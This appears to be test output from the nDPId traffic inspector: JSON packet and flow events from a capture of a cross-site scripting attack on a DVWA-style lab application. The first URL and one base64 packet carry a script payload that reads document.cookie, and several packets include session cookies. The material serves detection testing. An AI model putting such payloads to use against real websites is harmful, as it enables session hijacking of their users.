{"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/?name=%3Cscript%3Econsole.log%28%27UQE70NGV80W4ZBVWQELDMRMBY9BF6W552ZBHL3F4W4MIP7R7K6%27%29%3Bconsole.log%28document.cookie%29%3B%3C%2Fscript%3E","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00433{"flow_id":494,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7034,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":526715,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ax1AAD4GwrusEAABwKgKMoB8AFC+iBniu86NnoARAOVKuAAAAQEICgE8H\/4D5exv"} +00433{"flow_id":495,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7035,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":526760,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0keFAAEAGMffAqAoyrBAAAQBQgIqXGWCSM0oinoAQAOwZ5AAAAQEICgPl8XMBPB\/+"} +00433{"flow_id":494,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7036,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":528084,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fO1AAEAGRuvAqAoyrBAAAQBQgHy7zo2evogZ44ARAONFtQAAAQEICgPl8XMBPB\/+"} +00433{"flow_id":494,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7037,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":528620,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ax5AAD4GwrqsEAABwKgKMoB8AFC+iBnju86Nn4AQAOVFsgAAAQEICgE8H\/8D5fFz"} +02971{"flow_id":495,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7038,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":530008,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAkeJAAEAGKqrAqAoyrBAAAQBQgIqXGWCSM0oinoAYAOx+XgAAAQEICgPl8XMBPB\/+SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMwOjExIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWHtPGzkQ\/xukfgefTzqgEmvSNzTZiiRQ0IU2JYG01UkrZ9dJDN71YnsT+PY33keyPMM2SCh47Xn8xjMez\/jVev2v9vdW\/1f3AE1MKFD3rNk5biG8TcjgbYuQdr+Nfh71Tzqo5uygnlHcN4QcfMMIT4yJ9wiZzWbO7K0j1Zj0T8m1lVKzbPlwW6c8TmAC7L5af7VeT\/VchyLSjQdk1HZ3dzPWjHytPmE0gOHaWj1khiLLss2uEj5t4JaMDIvMdv8mZhj52VcDG3ZtiBXxGfkTqjQzjbP+4fYnjEgmc61uuBHMPU9ExBQdcsHNzR46ZSPBfMMC1FJSa9TjhqGer3hseDRGmz97vS20t4faNIxQwSsYGrAh2o9jwX1quIzQZvt8sL+FpjWntoNet9mUCRmHAO11nWSKcxSCR5dIMdHA2twIpieMGYwMWJMb4WuN0USxUQM7DoG\/YDqjdpaElEdOukzuS+OwFYWc\/3hIx4zA1G1JIzq1ZE66MJehU2vLEC7olGazGGnl3wJyodP\/XVDgXGjs1klGmXuO5K6z46EMbpAvqLZelyHDmUsDPkU8aGDrO7CIqdzrpSUrpDS\/Vufh+B6S1EhNhBxLJ47GGFEBgbDEUQu7ASuou6fabrIHjktK2u+teTENAhZkBgFBIgo77WpTSP\/Sbo3gSEY+qL5s4BmPAjlzYCnF0djILHE2cMEKDPSWuxzsHsG21QmFXRbcXX+OQB7B6Ut8O6WdeBI\/If8uKXaPSzPV1MKBS+Il+uY02O3ZISJw\/GAStZslZSQR7gobOi2dbw7hMVSJYeQJVA8zYLdp\/6NDqfyKHrgrkF0zvwqAlB67LRmGNArQcXTBUo+shsLXalQFRUoPKHqnh6spHnHifInhqDY4cCYBWxIlz+LH7iGHw31sZ\/TKe5PEQtKgyu7kHDmMs\/RrRf\/Q2MDNVclFOUt6bpmfKIZa+91+62h\/NSj6SvAqOFJ6ONM\/Oi8VrFaiN4TLrZJTSlx30KDNpp3eWg3VjNFLj1eCVLBgdwAj1GPaRis6bldMr3flXmvtVQKSMWAX6hmoVb6frLgVVpwq6dcsq6KehUMVOObF1wug0VV3Qxcoekaq2xBWvILSswjV5dLrcEGGXVs\/QnxkU9W2A\/h5NJJL1JWosNs96sLpGMlqiuhQJmaJmjkNdvft8OW21RZ6S9UviLDbScd3AOQV263a7\/FC0Jawi0IQOhm7muu2a+VCsD6p\/Ul3ASVzLS+YS8Kn8wrW82XAPKoYzevnkVQhimgI1TrwQ9mbprgG\/hsj6JYmErB\/PejntWk9zi0eTKjZ0OhGJipl\/lJU1lGclIt\/nIu2v\/P6tkykk2HIgWxKRQKfvewz10ZiN2sqiEWZ4Y0Vc4+YEBLlrYYLlb+WgoGHx5sbZz8OPu58+3r+aWfw7nfzfPDjoNM+OT1p\/tptHn4YvH\/\/5nfzqPP28N3g3clx9+Ppx38\/bGx9LksIpJ\/YTsvxpbzkbOvzvCUBOIqlrll4uD55457AgU\/DX4U0u6xg0q7l8QHRuIgr23zqvGGVM6rjtGeFEGXXNsxI6tltDZ715p71Us9CO0bVGDpRDLcSjS6x++ey5lFcGR9we1ClGKa8A2jrwFyvBf2V8Xp561kR49PyluNkkTPjlzxmAaepaPtVtlwXlj+O7fkynsaTm+mP+TwZ+zK018P2iF456ZPEgyCewfgszRlOKpgytVTCk+ruUZd15NktC\/Wicx0q6Hez3yKFPZLy8rzjC0bV\/DQ\/lBf1jTYs9Oxd8mB+GCbG2D47zw\/nnM0QHP94nrNjGSexV5DJqJVl\/cWjwx5QnMWb6JHbfgoSvQlItOH4BSClNcU\/hSMaQs420BZ20VJYPUiGPntZYDqVuRSa3U0q+BjytmAjyJ91Frpnmimbd\/fqBL4QDUIe5S6E76I4QB37upTTgMQFBdzqx+1evhJwba+PoPDiow4dSWluPbbE7iqvXfFD12o5ARN7cWbvgumLnfs\/dO01qJIUAAA="} +00433{"flow_id":495,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7039,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":530645,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PHBAAD4GiWisEAABwKgKMoCKAFAzSiKelxln3oAQAQISgQAAAQEICgE8H\/8D5fFz"} +00947{"flow_id":495,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7040,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347812,"pkt_ts_usec":538031,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzPHFAAD4Gh+isEAABwKgKMoCKAFAzSiKelxln3oAYAQLAjAAAAQEICgE8IPsD5fFzR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02820{"flow_id":495,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7041,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347812,"pkt_ts_usec":540974,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcekeRAAEAGKwrAqAoyrBAAAQBQgIqXGWfeM0okHYAYAPV9\/AAAAQEICgPl8nABPCD7SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMwOjEyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":495,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7042,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347812,"pkt_ts_usec":541701,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PHJAAD4GiWasEAABwKgKMoCKAFAzSiQdlxluyIAQAR0IAwAAAQEICgE8IPwD5fJw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":498,"flow_packet_id":1,"flow_first_seen":1499347812797,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32960,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":498,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7043,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347812,"pkt_ts_usec":797349,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8YtxAAD4GYvSsEAABwKgKMoDAAFAQTEPgAAAAAKACchBnTwAAAgQFtAQCCAoBPCE8AAAAAAEDAwc="} +00444{"flow_id":498,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7044,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347812,"pkt_ts_usec":797445,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgMBbJW45EExD4aAScSCoOQAAAgQFtAQCCAoD5fKwATwhPAEDAwc="} +00432{"flow_id":498,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7045,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347812,"pkt_ts_usec":798223,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Yt1AAD4GYvusEAABwKgKMoDAAFAQTEPhWyVuOoAQAOVHQQAAAQEICgE8ITwD5fKw"} +01216{"flow_id":495,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7046,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347812,"pkt_ts_usec":798562,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9PHNAAD4GhxysEAABwKgKMoCKAFAzSiQdlxluyIAYAR0K2AAAAQEICgE8ITwD5fJwR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjcyTEVJVlVaQkxQS0JENTkyVjc0QTJXOEFUMTNYNjVBWVFUU0RXM0k1WjUzUUNNM1JXOSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02966{"flow_id":495,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7047,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347812,"pkt_ts_usec":801468,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAkeZAAEAGKqbAqAoyrBAAAQBQgIqXGW7IM0omZoAYAP5+XgAAAQEICgPl8rEBPCE8SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMwOjEyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye0\/jOBD\/G6T9Dj6fdMBKxFs47ha2zaq0cFRXbru00N3TSZGbuK3BibO208K3v3EebXiWbJFQcex5\/MYzHs\/43Wb9l\/aX1uB77wRNTShQ7\/K422khvEvIcL9FSHvQRt\/OBuddVHM+oL5R3DeEnPyDEZ4aEx8RMp\/Pnfm+I9WEDC7IrZVSs2z5cFenPE5gAuy+23y3WU\/13IYi0o0nZNQODw8z1ox8oz5lNIDhxkY9ZIYiy7LLfiR81sAtGRkWmd3BXcww8rOvBjbs1hAr4hPyp1RpZhqXg9PdjxiRTOZG3XAjmHuViIgpOuKCm7sjdMHGgvmGBailpNaozw1DfV\/x2PBogra\/9fs76OgItWkYoYJXMDRkI9SMY8F9ariM0Hb7atjcQbOaU\/uA3rfZjAkZhwDtfZ1kinMUgkc3SDHRwNrcCaanjBmMDFiTG+FrjdFUsXEDOw6Bv2A2p3aWhJRHTrpMHkvjsBWFnP94SCeMwNR9SWM6s2ROurCQoVNryxCu6Yxmsxhp5d8Dcq3T\/z1Q4Fxr7NZJRpl7juSus+ORDO6QL6i2Xpchw5lLAz5DPGhg6zuwiKnc66UlK6Q0v1Hn4eQRktRITYScSCeOJhhRAYGwwlFLuwErqHuk2m6yB45LStofrXkxDQIWZAYBQSIKO+3qsZD+jd0awZGMfFB908BzHgVy7sBSiqOxlVnibOGCFRjoPXc52D2DbasTCrssuLv5GoE8gtOX+HZKO\/E0fkH+Q1Lsdkoz1dTCgUviFfoWNNjt2yEicPxgErWPS8pIItw1NnRWOt8cwmOkEsPIC6ieZsDusf2PTqXyK3rgoUB2y\/wqAFJ67LZkGNIoQJ3omqUeWQ+Fr9W4CoqUHlD0L07XUzzmxPkcw1FtcOBMArYiSl7Fj91TDoe7Y2f02nuTxELSoMru5Bw5jMv0a03\/0NjAzVXJRTlLem6ZnyiGWs3eoHXWXA+K\/iF4FRwpPZzpr923ClYr0RvB5VbJKSWuB2jQ9rGd3lkP1ZzRG49XglSwYHcII9Rn2kYr6rQrpteHcm+19ioByRiwC\/UM1CpfztfcCitOlfRrllVRr8KhChyL4usN0Oiqu6ELFH0j1X0Ia15B6VmE6nLldbgkw66tHyE+sqlq2wH8PBrLFepKVNjtnfXgdIxlNUV0JBOzQs2CBrtNO3y7bbWF3kr1SyLsdtPxAwB5xXav9nu+ELQl7LIQhE7Grua67Vq5EKxPaz\/TXUDJXMsL5pLw2aKC9XwZMI8qRvP6eSxViCIaQrUO\/FD2pimugX\/FCLqlqQTsf50M8tq0HucWD6fUbGl0JxOVMn8uKusoTsrFP85F299FfVsm0sko5EA2oyKBz372mWsjsZs1FcSizPDGirlnTAiJ8lbDhcpfS8HAw5Ptrb3uSefq8t\/jbu\/v4\/bB4d7Vn78394Yfm4Pa\/rc\/Dprfvw767eF+5+Dfg\/2vrfP9i+Hh1s6nsoRA+onttBxfyhvOdj4tWhKAo1jqmqWH69M99xwOfBr+KqTZZQWTdi2PD4jGZVzZ5lPnDaucUx2nPSuEKLu1YUZSz+5q8Ky38KyXehbaMaom0IliuJVodIPdn5e1iOLK+IDbgyrFMOWdQFsH5not6K+M189bz4oYX5a3GieLnDm\/4TELOE1F26+y5bqw\/Hlsr5fxMp7cTH\/CF8nYl6G9HnbH9IeTPkk8CeIVjK\/SnOGkgilTSyW8qO4RdVlHnt2yUC8615GCfjf7LVLYMykvzzu+YFQtTvNTeVHfacNCz94lT+aHUWKM7bPz\/HDF2RzB8Y8XOTuWcRJ7BZmMWlnWXz46HAHFZbyNnrntZyDRm4JEG46fAVJaU\/xWOKIh5HwL7WAXrYTVh2Tos7cFplOZK6HZ3aSCTyBvCzaG\/FlnoXupmbJ596hO4AvRIORR7kL4LooD1LWvSzkNSFxSwK3eaffzlYBre30EhRefdehYSnPvsSV213ntip+6VssJmNiLM3sXTF\/s3P8BpMTCTZIUAAA="} +00433{"flow_id":495,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7048,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347812,"pkt_ts_usec":802121,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PHRAAD4GiWSsEAABwKgKMoCKAFAzSiZmlxl2FIAQATv9zQAAAQEICgE8IT0D5fKx"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":419,"flow_packet_id":312,"flow_first_seen":1499347675703,"flow_last_seen":1499347745908,"flow_tot_l4_data_len":242186,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":776,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59732,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":455,"flow_packet_id":6,"flow_first_seen":1499347738229,"flow_last_seen":1499347743822,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60410,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":455,"flow_packet_id":6,"flow_first_seen":1499347738229,"flow_last_seen":1499347743822,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60410,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":456,"flow_packet_id":6,"flow_first_seen":1499347739497,"flow_last_seen":1499347744823,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60424,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":456,"flow_packet_id":6,"flow_first_seen":1499347739497,"flow_last_seen":1499347744823,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60424,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":457,"flow_packet_id":6,"flow_first_seen":1499347740751,"flow_last_seen":1499347745824,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60438,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 